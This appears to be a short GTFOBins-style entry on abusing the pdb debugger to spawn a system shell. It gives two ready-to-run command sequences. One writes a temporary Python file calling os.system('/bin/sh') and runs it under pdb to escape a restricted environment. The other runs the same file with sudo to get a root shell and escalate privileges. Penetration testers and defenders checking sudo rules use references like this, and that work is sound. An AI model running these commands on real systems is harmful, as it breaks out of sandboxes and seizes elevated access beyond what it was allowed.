This allows to execute python
code, other functions may apply.
It can be used to break out from restricted environments by spawning an interactive system shell.
TF=$(mktemp)
echo 'import os; os.system("/bin/sh")' > $TF
pdb $TF
cont
If the binary is allowed to run as superuser by sudo
, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
TF=$(mktemp)
echo 'import os; os.system("/bin/sh")' > $TF
sudo pdb $TF
cont